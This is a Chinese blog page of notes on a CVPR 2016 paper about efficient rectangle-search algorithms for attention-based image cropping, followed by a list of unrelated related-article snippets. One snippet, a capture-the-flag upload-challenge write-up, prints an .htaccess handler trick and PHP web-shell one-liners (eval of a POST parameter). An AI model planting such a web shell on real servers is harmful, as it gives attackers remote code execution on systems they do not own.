显著性应用--论文笔记--Automatic Image Cropping : A Computational Complexity Study
论文信息:
作者:Jiansheng Chen Gaocheng Bai Shaoheng Liang Zhengqin Li(清华大学)
期刊:CVPR
任务:图片裁剪
年份:2016年
全文:PDF
主要内容:提出一种低复杂度的算法,能够在图片裁剪任务中,满足最大化重要信息和最小化裁剪面积的要求
论文笔记--Automatic Image Cropping : A Computational Complexity Study
- 摘要
- 1.介绍
- 1.1相关工作
- 1.2 动机
- 2.问题的公式
- 3.算法与分析
- 3.1 Problem 1
- 3.2 Problem 2
- 3.3 Problem 3
- 3.4 的自动选择
- 4.实验
- 5.结论
摘要
基于注意的图像裁剪是为了保留图像中最重要的区域。
这种方法的一个常见任务是寻找集中注意力最大化的最小矩形。
我们证明,在适当的公式下,可以使用低计算复杂度的高效算法来完成这一任务。
在一个实际有用的场景中,裁剪矩形的长宽比是给定的,这个问题可以用与图像像素数线性的计算复杂度来解决。
我们还研究了多矩形裁剪的可能性,以及一种促进全自动图像裁剪的新模型.
1.介绍
之前的研究人员已经提出了许多上下文感知的图像裁剪/大小调整方法,
这些方法大致可以分为两类: ①以注意为基础的方法和②以美学为导向的方法
1.1相关工作
基于注意的方法的基本思想是试图在裁剪或调整大小后保留图像中视觉上重要的区域。
以美学为导向的方法旨在最大限度地提高裁剪图像的视觉吸引力。
视觉美学虽然有一定的共性,但也会受到文化、个人经历、受教育程度甚至心理状态[4]等主观因素的影响。
因此,目前大多数以美学为导向的图像裁剪方法都是基于照片质量评价研究[11][3][22],使用图像的某些客观方面,如低水平图像特征和经验的照片合成规则。
1.2 动机
在大多数现有的基于注意力的图像裁剪方法中,生成注意力图后的一个常见任务是寻找一个最优的裁剪矩形。这次论文最主要的就是关注这一点。
通常,这种最佳矩形搜索过程的目的是在最小化裁剪面积和最大化其中的总像素注意值之间达成一个折衷。
考虑到大量可能的候选矩形,暴力搜索可能会非常缓慢。
在这项工作中,我们提出了几个最优矩形搜索问题的实用公式和设计低计算复杂度的算法来解决它们。
2.问题的公式
如上所述,在给定的注意力图上搜索最佳裁剪矩形的目标是双重的。
- 首先,最小化矩形的面积,以裁剪掉视觉上不重要的图像区域。
- 其次,最大化矩形内的注意值之和,尽可能保留视觉上重要的图像区域。
这两个目标是对偶的,问题可以用任何一种方式来定义。
假设 是一个从一幅图像 中提取得到的非负值注意力图(attention map),在G中更高的视觉注意值对应图像 中的更高视觉重要性的像素。 在没有失去普遍性的情况下,我们制定最优裁剪矩形搜索问题,问题1(Problem 1), 其中 是需要保留的全部注意力的最小百分比和 是是满足此要求的最小矩形。
Problem 1(最小矩形搜索) 给定一个百分比率 , 在 中找到一个面积尽可能小的矩形,以满足公式(1)
为了避免歧义,我们记 为 , 记 为 .
同样,一个矩形如果满足(1),则称为有效的矩形。
图像像素的注意值可以看作是对其视觉重要性的度量。可以合理地认为,每个像素都可能包含一定数量的视觉信息。因此,在这项研究中,我们简单地假设注意力价值是非负的。这与大多数现有的计算注意力图[9][10][25][8]的工作是一致的。
让表示的矩形区域面积。对于任意一个图像G, 都是关于 的递增函数,即:
为了避免歧义,我们设置整张注意图的矩形区域面积为1,所以数值 代表 在 中占的面积的百分比。
需要强调的是,当给定一个最小百分比 , 也可能不是唯一的。
这在实践中是可以接受的,因为它只会导致不同的裁剪结果,但面积大小和视觉重要性是相同的。
需要注意的是, 不是关于 的单调递增函数。因为有可能当时, 。这通常发生在之间的差异非常小的时候。
乍一看,问题1类似于著名的最大子矩阵问题,即寻找一个矩阵,它的子矩阵的元素和是最大的[2][21]。尽管这两个问题表面上相似,但本质上是不同的。
图像裁剪的另一个实际考虑是与图像重定向的应用有关。如今,纵横比在不同的显示设备如台式PC、移动电话或可穿戴设备上变化很大。为了达到最佳的显示效率,一个很有前景的选择是让被裁剪的图像与目标显示具有相同的纵横比,这就导致了问题2的定义。
Problem 2(固定长宽比矩形搜索)给定一个百分比率 , 在 中找到一个面积尽可能小的矩形,具有固定的宽高比 r > 0,以满足公式(1)
在以前的研究中很少提到的一个问题是,有时从包含多个视觉上重要区域的图像中只选择一个裁剪矩形可能不合适,这些区域在空间上分散。图3显示了一个典型的示例,其中将 设置为0.75。通过选择两个矩形而不是一个矩形,使整个矩形面积缩小了一半,在视觉上更加合理。基于这样的理解,我们定义了问题3,可以看作是问题2的推广。
Problem 3(多个矩形搜索)给定一个百分比率 , 在 中找出不超过N个的不相交的矩形, 全部具有固定的宽高比 r > 0,表示这些矩形的并集为,以满足公式(1)的情况下最小化总的面积
问题3通过允许更多的裁剪矩形,增加了搜索过程的自由度,通过减少需要保留的总面积大小,提高了图像裁剪的有效性。然而,很明显,这样的泛化将增加问题的复杂性的组合。因此,在本文中我们只讨论N = 2的情况。需要注意的是,对于某些图像,使用多个裁剪矩形可能不是很有利。换句话说,在解决问题3时,可能会发现一些矩形是空的。
3.算法与分析
假设注意图(attention map )G有m行n列,并且 。
为了解决上面提到的空间离散化问题,我们使用下面的近似值来计算纵横比。给定一个纵横比 ,假设一个候选矩形的高度为 ,那么它的宽度计算为:
对于给定一个注意图 , 我们采用类似矩阵的符号: 代表第 行 () 和第 列 ()的注意数值;
为了避免歧义,当时,令。
定义关于 的积分图 :
为了简化描述,我们还定义了一个基于列的积分图 ,以按列地存储G的累加和:
下图展示了两张积分图的例子:
可以用累加求和并行计算得到,总计算复杂度为
3.1 Problem 1
解决问题1的一种蛮力算法是穷举检查G中每一个可能的矩形,从而找到满足(1)的最小矩形。
更具体地说,如图5(a)所示,对于G中的每个点(i, j),算法检查所有矩形R的左上角(i, j)。
利用公式(4)中的积分图,可以有效计算R内注意力值的累加:
对于左上角的每个点,有 矩形需要检查。循环遍历左上角所有可能的角落点会导致总的计算复杂度为
仔细观察图5(a)可以发现,在蛮力算法中执行了许多不必要的计算。例如,如果我们已经发现R是有效的矩形,或者说,它满足(1),那么任何面积大于R的矩形都不再被考虑。一个典型的例子是图5(a)中包含R的大虚线矩形。更激进的做法是,所有左上角是和右下角是的矩形都可以安全地忽略。
假设我们正在检查所有的候选矩形,它们的上边界在第 行,下边界在第 行,如图6(a)所示。当阴影矩形有效时,我们实际上正在寻找两个彼此尽可能接近的列索引 。将第 行按列累积到第 行,可以将这个二维问题转化为图6(a)底部所示的一维问题。
给定一个非负输入数组,我们要找出其中元素和大于或等于给定阈值的最短子数组(shortest subarray)。在我们的例子中,阈值是,并且输入数组是。这个输入数组可以通过公式(5)利用复杂度为的逐列积分图计算:
这个最短子数组问题可以通过算法1(Algorithm 1)有效地解决,其中st和ed是两个指向当前子数组起始和结束位置的移动指针。
该算法的核心思想是,只要找到一个有效的候选子数组,在下一步就会缩短候选子数组的长度从而自动忽略从st开始的子数组,避免计算冗余。
特别地,当找不到满足条件的子数组或时,。
在每个循环中,st或ed都会增加1。注意到st和ed在退出时都不会超过n,因此循环体最多执行 次。因此,整体计算复杂度为。
结合算法1和图6(a)所示的思想,提出算法2(Algorithm 2)来解决问题1。
它的基本思想是循环所有可能的 ,同时找到相应的最短子数组。
第5,6行这两个操作最消耗时间,复杂度都是O(n)。通过对所有可能的进行循环,它们将被执行 次,导致总体计算复杂度为。或者更准确地说,考虑两个积分图的额外计算。
3.2 Problem 2
由于剪切矩形的长宽比的限制,问题2本质上比问题1简单。从图5(b)中所示的蛮力算法可以看出这一点。
如前所述,给定长宽比为r的矩形的高度h,其宽度将由(3)唯一决定。因此在图5(b)中,左上角可能的矩形 的数量变得更小了。它实际上是由不同高度值的数量决定的,基本上是。通过对所有可能的进行循环,蛮力算法的总体计算复杂度为。
改进算法的思路如图6(b)所示。在长宽比固定的情况下,所有 为边界的候选矩形有同样的尺寸w0×h0,其中.
显然,有O(n)个不同的这样的矩形。我们只需要在这些矩形中找出注意值总和最大的那个。与上一节的思路类似,这个问题也可以转化为一个一维搜索问题,即寻找一个和最大的定长子数组。具体地说,在我们的例子中,这个最大值应该大于或等于给定的阈值。这是一个简单的问题,可以很容易地用复杂度解决,如算法3(Algorithm 3)所示。
在调用算法3时,只需对所有可能的 进行循环就可以解决problem 2。不幸的是,这种方法是没有意义的,因为它会导致 的计算复杂度,这与暴力搜索是相同的。
在图6(b)中,候选矩形的面积大小完全由 的距离决定。因此,对于一个给定的 的值,如果为某个 找到了一个有效的矩形,那么 下面的任何位置,例如 在图6(b)中,将不再需要考虑,因为明显增加了矩形面积大小。基于此理解,提出了算法4(Algorithm 4)。
两个指针 分别指向候选矩形的上边界和下边界。
我们使用图7来帮助证明算法4的正确性。
让我们定义一个bool函数 来表示一个被第 行和第 行包围的有效矩形是否存在。显然,由于G的非负性,该函数满足公式(6):
假设在执行的某个阶段,我们有 ,如图7(a)所示。根据算法, 将被移动到第很前面的位置,使得 , 如图7(b)所示。注意,这也意味着 。最后被移动到很靠前的位置,使得,意味着
为了确保完整性,我们应该检查当时所有的情况。
- 如果, 所有以为边界的矩形框都可以被安全地忽略,因为它肯定大于已经被认为是有效的边界为 的矩形。因为,.
- 当,则的情况已经被考虑到了,而其他的情况由于明显增加的矩形面积大小同样可以忽略。
- 如果: 由于,根据公式6,我们有。通过整个算法的执行,上述推理是有效的。
算法4的计算复杂度非常低。在每个循环中, 都会增加1。因为在退出时 都不超过m,所以循环体最多执行2m次。因此总的计算复杂度为,考虑到G中总共有m×n个元素,且每个元素至少需要考虑一次,这实际上是问题的朴素下界。
3.3 Problem 3
略
3.4 的自动选择
根据我们的定义, 是被保留的注意力的百分比。通常情况下,可根据经验或用户要求来选择这个值。由于所提出的算法复杂度较低,我们甚至可以允许用户实时改变这个值。然而,研究自动选择的可能性仍然是有趣的。考虑到在问题1中,使分析具有简洁性,我们只针对问题1研究这一问题。
考虑到图像裁剪的性质, 的选择在很大程度上依赖于函数的数学性质。很明显地,函数是一个复杂的函数,在不同的注意图中有着不同的表现。理想情况下,对于一个所有像素都同等重要的统一注意力地图,我们有 。对于正价值注意力地图,有和。
在现实生活中的图像中,具有高度注意力值的像素通常是空间集中的,这就导致了一个现象,如图9第三行所示,通常对于小的 ,值增长缓慢,对于大的,值增长迅速。对于不同的图像,函数曲线可能会有显著差异。然而,通过在图9第四行所示的对数坐标中绘制它们,可以观察到和之间的强线性相关。
为了进一步验证这一观察结果,我们计算了1000张随机选择的Microsoft COCO 图片中的的和之间的Pearson相关系数,相关系数的均值和标准差分别为0.995和0.004,说明该对数线性假设具有较强的统计有效性。
因此,我们提出了一个简单的幂函数模型:
其中 实际上可以用来测量意向图的浓度。更大的 通常表示较高的视觉注意力集中程度,如图9(b)所示。对于给定的图像,可以通过线性拟合和之间的关系,来估计 的大小。
在实际应用中,我们选取了的10个抽样点进行拟合。在此基础上,可以很容易地确定不同的目标,以选择最优的。举例来说,我们在(7)中提出一个简单的目标函数,其基本原理是在注意力保持和区域裁剪之间达到平衡。公式(7):
解析求解(7)可得:
关于argmax的解释(百度):
解析求解公式(7)的过程(其实就是求取得极大值时的自变量)
问题:
解:
令
当
当
故,当时,
4.实验
虽然我们的重点是提高矩形裁剪搜索的计算效率,但毫无疑问,裁剪效果的关键仍然是注意力图的可靠性。在下面显示的所有视觉结果中,我们使用了使用两种不同方法生成的注意力地图。黄色和红色矩形分别基于[8]和[10]生成的注意力图计算。
[8]:S. Goferman, L. Zelinik-Manor, and A. Tal. Context-aware saliency detection. IEEE Trans. PAMI, 34(10):1915–1926, 2012. 2, 8
[10]:T. Judd, K. Ehinger, F. Durand, and A. Torralba. Learning to predict where humans look. In ICCV, 2009. 2, 8
我们实验中使用的所有图像都是从Microsoft COCO数据库[12]中选择的。图10和图11为问题1中定义的最小面积裁剪结果。图10说明了的影响。可以看出,剪切矩形的大小和位置都随着的变化 而变化。图11演示了自动选择 的有效性。
图12显示了高宽比变化时问题2的可视化结果。相当令人惊讶的是,裁剪矩形与不同的长宽比看起来都是合理的。图13是多个矩形的裁剪结果。[10]中提出的注意模型故意强调图像中心附近的视觉重要性,导致图13中红色矩形显示的结果不理想。
我们还在1000张随机选择的图像上,比较了算法2和算法4与相应的暴力穷举算法的平均运行时间。实验在3.6GHz CPU, 16GB内存的桌面PC上进行,使用Matlab实现。在图14中,加速度比与 对应。所有注意图均[8]中的方法生成,并且 。算法2中计算所有值所需的平均运行时间为137.8ms,算法4中为4.2ms。
5.结论
我们研究了基于注意力的图像裁剪中最优矩形搜索的计算复杂度。根据不同的应用需求和图像特性,提出了三个问题公式,并设计了计算复杂度较低的算法。我们还提出了一种基于注意力保持和区域裁剪关系的全自动图像裁剪方法。实验结果证明了我们的方案的有效性和效率。
在今后的研究中还存在一些问题。例如,
- 视觉满意与裁剪价值的选择之间的关系;
- 融合不同注意力图的可能性。
- 将这一研究扩展到以美学为导向的图像裁剪方法也是很有趣的。
该项目由清华大学自主科研计划(20131089382)、北京市高等教育青年精英教师项目(YETP0104)、国家自然科学基金(61101152)资助。
如若内容造成侵权/违法违规/事实不符,请联系编程学习网邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
相关文章
- pycharm可以同时运行两个实例
代表pycharm 在运行两个run实例,即使暂停其中的一个程序,也可以在下方查看到相应的python打印的内容。...
2024/5/9 19:18:36 - STL相关知识整理(二) iterator
五种迭代器类型注意,容器适配器 stack、queue 和 priority_queue 没有迭代器。output迭代器支持操作input迭代器forward迭代器bidirectional(双向)迭代器random-access迭代器迭代器与指针迭代器不是指针,是类模板,表现的像指针。他只是模拟了指针的一些功能,通过重载了指…...
2024/5/9 15:51:49 - 平衡二叉树的创建、遍历以及节点的删除
一、概念平衡二叉树(AVL):是一种结构平衡的二叉搜索树,即叶节点高度差的绝对值不超过1,并且左右两棵子树都是一棵平衡二叉树。它能在O(log n)内完成插入、查找和删除操作,其高度h>logN (N为节点个数)。二、创建AVL步骤:在二叉搜索树中:1、如果某节点的左子树高度-…...
2024/4/15 15:32:02 - MySQL8.0版本改密码(现密码已知,但需要改成新密码)
发现很多人数据库密码都是123456,我刚安装MySQL数据库时就改成了字母+数字模式,有点麻烦,现在我想改密码了,对于MySQL 8.0.16版本,已知我现在的密码,要改成新密码的方法如下:打开cmd命令行,输入:mysql -uroot -p密码比如输mysql -uroot -p23345;,以root用户登陆mysql…...
2024/5/2 7:07:47 - 独立级联模型&线性阈值模型
预备知识一个社交网络描述成一张有向图G,其中V是节点的集合,E⊆V∗VE\subseteq V*VE⊆V∗V是有向边的集合。 每一个节点v∈Vv\in Vv∈V代表一个社交网络中的人,每一条边(u,v)∈E(u,v)\in E(u,v)∈E代表节点uuu到节点vvv的影响力关系。 边是有向的,表明影响力是有方向的。对…...
2024/4/15 15:31:59 - 软链接和硬链接
为了解决文件共享问题,Linux引入了软链接和硬链接。除了为Linux解决文件共享使用,还带来了隐藏文件路径、增加权限安全及节省存储等好处。若1个inode号对应多个文件名,则为硬链接,即硬链接就是同一个文件使用了不同的别名,使用ln创建。若文件用户数据块中存放的内容是另一个…...
2024/4/15 15:31:59 - Fiddler是目前最常用的抓包工具之一,它作为客户端和服务器端之间的代理,记录客户端和服务器之间的所有请求(http/https),可以针对特定的请求过滤,分析请求和响应的数据、设置断点、调试、修改
本文并非原创 Fiddler是目前最常用的抓包工具之一,它作为客户端和服务器端之间的代理,记录客户端和服务器之间的所有请求(http/https),可以针对特定的请求过滤,分析请求和响应的数据、设置断点、调试、修改请求的数据,甚至可以修改服务器返回的数据,功能非常强大。 Fiddl…...
2024/5/9 17:18:10 - Ant 学习笔记
在 xml 文件的声明前面没有任何空行或者空格。否则会出错。 <?xml version="1.0"> 默认的target必须要有 <project name="Hello World Project" default="info"><target name="info"><echo>Hello World - We…...
2024/4/15 15:31:59 - [GXYCTF2019]BabyUpload
题目过程 png文件不许上传,尝试上传jpg 修改后缀名为.htaccess,文件内容为 SetHandler application/x-httpd-php上传一句话木马 <?php eval($_POST[cmd]);?> 失败,换一种方式 <script language=php>eval($_POST[cmd]);</script>上传成功,蚁剑连接一下,…...
2024/4/15 15:31:55 - 组合电路中的静态冒险与动态冒险
组合电路中的静态冒险与动态冒险 文章目录组合电路中的静态冒险与动态冒险1. 静态冒险1.1 静态1型冒险定义:静态1型冒险是这样的输入组合对: a) 只有一个输入变量不同; b) 这两种输入组合都产生1输出。这样在不同输入变量发生转变期间,就有可能发生短暂的0输出。1.2 静态0型…...
2024/4/20 15:30:40 - 英语六级作文
英语六级作文 1.第一段 师生之间建立信任是良好师生关系的基石,而良好的师生关系可以使学生找到学习的乐趣,同时让老师的教学工作达到预期效果 Building trust between teachers and students is the foundation of a good teacher-student relationship,which will enable s…...
2024/4/15 17:22:34 - docker系列
https://segmentfault.com/a/1190000016357628...
2024/4/15 17:22:33 - 多表查询,差集并集交集查询等多种查询,以及一些些许使用数据库注意(更新)
聚合函数不能在where中使用。 差集关键字minus 差集并集关键字 union all 不过滤并集 union 过滤并集ps:mysql没有全连接,通过union关键字实现,中间不用加join交集关键字 intersect 交集 交叉连接 cross join 笛卡积等值连接与不等值连接 都是 join on 后面判别条件不同…...
2024/4/15 17:22:32 - 关于权限控制jwt+security+shiro
1、GrantedAuthority:https://www.cnblogs.com/longfurcat/p/9417422.html https://www.cnblogs.com/longfurcat/p/9417422.html 一、JWT(Java Web Token) 什么是JWT? JSON Web Token(JWT)是一个开放标准(RFC 7519),它定义了一种紧凑的、自包含的方式,用于作为JSON对象…...
2024/5/5 15:23:07 - 移动端页面键盘弹出后导致body高度变低背景图片被挤上去解决方法
但是这样写就会导致键盘弹出的时候html和body的高度从原来的100%变为(100%-键盘高度),这样的话main的height:100%也会变成(100%-键盘高度),所以需要强行将main的高度设置为html原本的100%。 <input id="searchInput"type="text"class="searc…...
2024/4/23 17:20:25 - ISTS 端口映射到公网
ISTS 端口映射到公网对外服务使用到两个端口:端口 用途 映射后端口80 web访问 任意6080 连接虚拟机控制台 6080操作步骤在防火墙或其他边界设备完成以上端口映射,具体步骤略。 因为平台使用的是nginx,当时用映射时,需要将映射后的IP地址绑定到nginx域名: 可通过SSH和Conso…...
2024/4/26 9:13:09 - 基于postman的api自动化测试实践
每个人都同意测试很重要,但并不是所有人都会去做。每当你添加新的代码,测试可以保证你的api按照预期运行。通过postman,你可以为所有api编写和运行测试脚本。 postman中的测试 在postman中,你可以通过添加脚本到请求当中,来使用动态变量、在请求之间传递数据以及编写测试。…...
2024/4/26 7:05:30 - 青年大学习跳过教程
青年大学习跳过教程 前言 青年大学习是我们每周都要完成的作业,但是有时候比较忙或者不想做,有没有极速跳过青年大学习而且还有记录呢?当然有了,下面来阐述一下跳过步骤。 教程 1 打开微信,在微信上给好友,自己或者公众号发送一个链接:debugx5.qq.com 使其链接在微信中打…...
2024/5/3 18:48:45 - 使用IDEA创建第一个SpringBoot程序示例并集成MyBatis(数据库使用postgresql)
文章目录一、写在前面二、安装IDEA并配置Maven三、SpringBoot是做什么的?四、创建一个SpringBoot工程1、通过IDEA的SpringInitializr创建2、通过官网创建五、安装并创建PostgreSQL数据库1、安装地址2、建表3、插入数据及设置主键4、注意事项!非常重要!六、编写application.p…...
2024/4/15 16:45:03 - 执行yii命令的时候出现错误:/usr/bin/env: ‘php\r’
执行yii命令的时候出现错误:/usr/bin/env: ‘php\r’: No such file or directory进入编辑模式输入: set ff=unix回车,然后wq保存退出...
2024/5/2 5:18:24
最新文章
- 安卓开发--按键跳转页面,按键按下变色
前面已经介绍了一个空白按键工程的建立以及响应方式,可以参考这里:安卓开发–新建工程,新建虚拟手机,按键事件响应。 安卓开发是页面跳转是基础!!!所以本篇博客介绍利用按键实现页面跳转&#…...
2024/5/9 22:54:52 - 梯度消失和梯度爆炸的一些处理方法
在这里是记录一下梯度消失或梯度爆炸的一些处理技巧。全当学习总结了如有错误还请留言,在此感激不尽。 权重和梯度的更新公式如下: w w − η ⋅ ∇ w w w - \eta \cdot \nabla w ww−η⋅∇w 个人通俗的理解梯度消失就是网络模型在反向求导的时候出…...
2024/5/9 21:23:04 - 01背包问题 小明的背包
2.小明的背包1 - 蓝桥云课 (lanqiao.cn) #include <bits/stdc.h> using namespace std; const int N1010;//开始写的105 开小了 样例过了但最后只过了很少一部分 int n,m; int v[N],w[N]; int f[N][N];int main() {cin>>n>>m;for(int i1;i<n;i){cin>&…...
2024/5/5 8:41:06 - xv6项目开源—05
xv6项目开源—05.md 理论: 1、设备驱动程序在两种环境中执行代码:上半部分在进程的内核线程中运行,下半部分在中断时执行。上半部分通过系统调用进行调用,如希望设备执行I/O操作的read和write。这段代码可能会要求硬件执行操作&…...
2024/5/9 11:27:24 - 416. 分割等和子集问题(动态规划)
题目 题解 class Solution:def canPartition(self, nums: List[int]) -> bool:# badcaseif not nums:return True# 不能被2整除if sum(nums) % 2 ! 0:return False# 状态定义:dp[i][j]表示当背包容量为j,用前i个物品是否正好可以将背包填满ÿ…...
2024/5/8 19:32:33 - 【Java】ExcelWriter自适应宽度工具类(支持中文)
工具类 import org.apache.poi.ss.usermodel.Cell; import org.apache.poi.ss.usermodel.CellType; import org.apache.poi.ss.usermodel.Row; import org.apache.poi.ss.usermodel.Sheet;/*** Excel工具类** author xiaoming* date 2023/11/17 10:40*/ public class ExcelUti…...
2024/5/9 7:40:42 - Spring cloud负载均衡@LoadBalanced LoadBalancerClient
LoadBalance vs Ribbon 由于Spring cloud2020之后移除了Ribbon,直接使用Spring Cloud LoadBalancer作为客户端负载均衡组件,我们讨论Spring负载均衡以Spring Cloud2020之后版本为主,学习Spring Cloud LoadBalance,暂不讨论Ribbon…...
2024/5/9 2:44:26 - TSINGSEE青犀AI智能分析+视频监控工业园区周界安全防范方案
一、背景需求分析 在工业产业园、化工园或生产制造园区中,周界防范意义重大,对园区的安全起到重要的作用。常规的安防方式是采用人员巡查,人力投入成本大而且效率低。周界一旦被破坏或入侵,会影响园区人员和资产安全,…...
2024/5/8 20:33:13 - VB.net WebBrowser网页元素抓取分析方法
在用WebBrowser编程实现网页操作自动化时,常要分析网页Html,例如网页在加载数据时,常会显示“系统处理中,请稍候..”,我们需要在数据加载完成后才能继续下一步操作,如何抓取这个信息的网页html元素变化&…...
2024/5/9 3:15:57 - 【Objective-C】Objective-C汇总
方法定义 参考:https://www.yiibai.com/objective_c/objective_c_functions.html Objective-C编程语言中方法定义的一般形式如下 - (return_type) method_name:( argumentType1 )argumentName1 joiningArgument2:( argumentType2 )argumentName2 ... joiningArgu…...
2024/5/9 5:40:03 - 【洛谷算法题】P5713-洛谷团队系统【入门2分支结构】
👨💻博客主页:花无缺 欢迎 点赞👍 收藏⭐ 留言📝 加关注✅! 本文由 花无缺 原创 收录于专栏 【洛谷算法题】 文章目录 【洛谷算法题】P5713-洛谷团队系统【入门2分支结构】🌏题目描述🌏输入格…...
2024/5/9 7:40:40 - 【ES6.0】- 扩展运算符(...)
【ES6.0】- 扩展运算符... 文章目录 【ES6.0】- 扩展运算符...一、概述二、拷贝数组对象三、合并操作四、参数传递五、数组去重六、字符串转字符数组七、NodeList转数组八、解构变量九、打印日志十、总结 一、概述 **扩展运算符(...)**允许一个表达式在期望多个参数࿰…...
2024/5/8 20:58:56 - 摩根看好的前智能硬件头部品牌双11交易数据极度异常!——是模式创新还是饮鸩止渴?
文 | 螳螂观察 作者 | 李燃 双11狂欢已落下帷幕,各大品牌纷纷晒出优异的成绩单,摩根士丹利投资的智能硬件头部品牌凯迪仕也不例外。然而有爆料称,在自媒体平台发布霸榜各大榜单喜讯的凯迪仕智能锁,多个平台数据都表现出极度异常…...
2024/5/9 1:35:21 - Go语言常用命令详解(二)
文章目录 前言常用命令go bug示例参数说明 go doc示例参数说明 go env示例 go fix示例 go fmt示例 go generate示例 总结写在最后 前言 接着上一篇继续介绍Go语言的常用命令 常用命令 以下是一些常用的Go命令,这些命令可以帮助您在Go开发中进行编译、测试、运行和…...
2024/5/9 4:12:16 - 用欧拉路径判断图同构推出reverse合法性:1116T4
http://cplusoj.com/d/senior/p/SS231116D 假设我们要把 a a a 变成 b b b,我们在 a i a_i ai 和 a i 1 a_{i1} ai1 之间连边, b b b 同理,则 a a a 能变成 b b b 的充要条件是两图 A , B A,B A,B 同构。 必要性显然࿰…...
2024/5/9 7:40:35 - 【NGINX--1】基础知识
1、在 Debian/Ubuntu 上安装 NGINX 在 Debian 或 Ubuntu 机器上安装 NGINX 开源版。 更新已配置源的软件包信息,并安装一些有助于配置官方 NGINX 软件包仓库的软件包: apt-get update apt install -y curl gnupg2 ca-certificates lsb-release debian-…...
2024/5/9 19:47:07 - Hive默认分割符、存储格式与数据压缩
目录 1、Hive默认分割符2、Hive存储格式3、Hive数据压缩 1、Hive默认分割符 Hive创建表时指定的行受限(ROW FORMAT)配置标准HQL为: ... ROW FORMAT DELIMITED FIELDS TERMINATED BY \u0001 COLLECTION ITEMS TERMINATED BY , MAP KEYS TERMI…...
2024/5/9 7:40:34 - 【论文阅读】MAG:一种用于航天器遥测数据中有效异常检测的新方法
文章目录 摘要1 引言2 问题描述3 拟议框架4 所提出方法的细节A.数据预处理B.变量相关分析C.MAG模型D.异常分数 5 实验A.数据集和性能指标B.实验设置与平台C.结果和比较 6 结论 摘要 异常检测是保证航天器稳定性的关键。在航天器运行过程中,传感器和控制器产生大量周…...
2024/5/9 1:42:21 - --max-old-space-size=8192报错
vue项目运行时,如果经常运行慢,崩溃停止服务,报如下错误 FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory 因为在 Node 中,通过JavaScript使用内存时只能使用部分内存(64位系统&…...
2024/5/9 5:02:59 - 基于深度学习的恶意软件检测
恶意软件是指恶意软件犯罪者用来感染个人计算机或整个组织的网络的软件。 它利用目标系统漏洞,例如可以被劫持的合法软件(例如浏览器或 Web 应用程序插件)中的错误。 恶意软件渗透可能会造成灾难性的后果,包括数据被盗、勒索或网…...
2024/5/9 4:31:45 - JS原型对象prototype
让我简单的为大家介绍一下原型对象prototype吧! 使用原型实现方法共享 1.构造函数通过原型分配的函数是所有对象所 共享的。 2.JavaScript 规定,每一个构造函数都有一个 prototype 属性,指向另一个对象,所以我们也称为原型对象…...
2024/5/9 16:54:42 - C++中只能有一个实例的单例类
C中只能有一个实例的单例类 前面讨论的 President 类很不错,但存在一个缺陷:无法禁止通过实例化多个对象来创建多名总统: President One, Two, Three; 由于复制构造函数是私有的,其中每个对象都是不可复制的,但您的目…...
2024/5/8 9:51:44 - python django 小程序图书借阅源码
开发工具: PyCharm,mysql5.7,微信开发者工具 技术说明: python django html 小程序 功能介绍: 用户端: 登录注册(含授权登录) 首页显示搜索图书,轮播图࿰…...
2024/5/9 6:36:49 - 电子学会C/C++编程等级考试2022年03月(一级)真题解析
C/C++等级考试(1~8级)全部真题・点这里 第1题:双精度浮点数的输入输出 输入一个双精度浮点数,保留8位小数,输出这个浮点数。 时间限制:1000 内存限制:65536输入 只有一行,一个双精度浮点数。输出 一行,保留8位小数的浮点数。样例输入 3.1415926535798932样例输出 3.1…...
2024/5/9 4:33:29 - 配置失败还原请勿关闭计算机,电脑开机屏幕上面显示,配置失败还原更改 请勿关闭计算机 开不了机 这个问题怎么办...
解析如下:1、长按电脑电源键直至关机,然后再按一次电源健重启电脑,按F8健进入安全模式2、安全模式下进入Windows系统桌面后,按住“winR”打开运行窗口,输入“services.msc”打开服务设置3、在服务界面,选中…...
2022/11/19 21:17:18 - 错误使用 reshape要执行 RESHAPE,请勿更改元素数目。
%读入6幅图像(每一幅图像的大小是564*564) f1 imread(WashingtonDC_Band1_564.tif); subplot(3,2,1),imshow(f1); f2 imread(WashingtonDC_Band2_564.tif); subplot(3,2,2),imshow(f2); f3 imread(WashingtonDC_Band3_564.tif); subplot(3,2,3),imsho…...
2022/11/19 21:17:16 - 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机...
win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”问题的解决方法在win7系统关机时如果有升级系统的或者其他需要会直接进入一个 等待界面,在等待界面中我们需要等待操作结束才能关机,虽然这比较麻烦,但是对系统进行配置和升级…...
2022/11/19 21:17:15 - 台式电脑显示配置100%请勿关闭计算机,“准备配置windows 请勿关闭计算机”的解决方法...
有不少用户在重装Win7系统或更新系统后会遇到“准备配置windows,请勿关闭计算机”的提示,要过很久才能进入系统,有的用户甚至几个小时也无法进入,下面就教大家这个问题的解决方法。第一种方法:我们首先在左下角的“开始…...
2022/11/19 21:17:14 - win7 正在配置 请勿关闭计算机,怎么办Win7开机显示正在配置Windows Update请勿关机...
置信有很多用户都跟小编一样遇到过这样的问题,电脑时发现开机屏幕显现“正在配置Windows Update,请勿关机”(如下图所示),而且还需求等大约5分钟才干进入系统。这是怎样回事呢?一切都是正常操作的,为什么开时机呈现“正…...
2022/11/19 21:17:13 - 准备配置windows 请勿关闭计算机 蓝屏,Win7开机总是出现提示“配置Windows请勿关机”...
Win7系统开机启动时总是出现“配置Windows请勿关机”的提示,没过几秒后电脑自动重启,每次开机都这样无法进入系统,此时碰到这种现象的用户就可以使用以下5种方法解决问题。方法一:开机按下F8,在出现的Windows高级启动选…...
2022/11/19 21:17:12 - 准备windows请勿关闭计算机要多久,windows10系统提示正在准备windows请勿关闭计算机怎么办...
有不少windows10系统用户反映说碰到这样一个情况,就是电脑提示正在准备windows请勿关闭计算机,碰到这样的问题该怎么解决呢,现在小编就给大家分享一下windows10系统提示正在准备windows请勿关闭计算机的具体第一种方法:1、2、依次…...
2022/11/19 21:17:11 - 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”的解决方法...
今天和大家分享一下win7系统重装了Win7旗舰版系统后,每次关机的时候桌面上都会显示一个“配置Windows Update的界面,提示请勿关闭计算机”,每次停留好几分钟才能正常关机,导致什么情况引起的呢?出现配置Windows Update…...
